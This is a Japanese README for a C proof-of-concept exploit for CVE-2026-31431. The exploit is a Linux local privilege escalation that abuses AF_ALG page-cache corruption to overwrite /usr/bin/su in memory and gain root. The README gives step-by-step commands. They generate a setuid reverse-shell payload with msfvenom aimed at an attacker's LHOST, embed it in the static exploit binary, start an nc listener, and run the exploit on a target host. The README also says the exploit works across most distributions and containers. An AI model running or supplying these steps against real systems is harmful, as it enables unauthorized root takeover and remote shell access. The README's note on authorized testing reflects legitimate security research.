
CVE-2026-31431 の C PoC。特権のない Linux LPE で、AF_ALG のページキャッシュ破損を悪用して /usr/bin/su を上書きし、root を取得します。
AF_ALG のロジックバグ(カーネル 4.14 → 2026年初頭)を利用して、任意の読み取り可能なファイルのページキャッシュに制御された4バイトを書き込むことで実現する、特権を必要としない単純なLPE。
メモリ内の /usr/bin/su を破壊してから実行する → root 取得。

# 1. ELFペイロードを生成(リバースシェルの例)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> PrependSetuid=true \
PrependSetgid=true -f elf -a x86 --platform linux -o payload_x86
# 2. コンパイル(静的、ストリップ、ペイロードは .incbin で埋め込み)
gcc -m32 -static -Wl,--strip-all -DPAYLOAD_FILE=payload_x86 -o copy_fail_x86 copy_fail.c
# 3. 先にリスナーを起動(nc -lvp <LPORT>)、その後ターゲットホストでエクスプロイトを実行
./copy_fail_x86
• CVE: CVE-2026-31431 • CVSS: 7.8 • 修正: コミット a664bf3d603d
• 2017年〜2026年のほぼすべてのLinuxディストリビューションで動作(コンテナ含む)。
• 手法: /usr/bin/su を O_RDONLY で開き、AEADのインプレース復号を悪用して細工したペイロードをVFSを迂回してページキャッシュに直接スプライスする。
• 元の開示情報と732バイトのPython PoC → https://copy.fail
MIT — LICENSE を参照。 教育目的・許可されたテストのみを対象としています。自己責任で使用してください。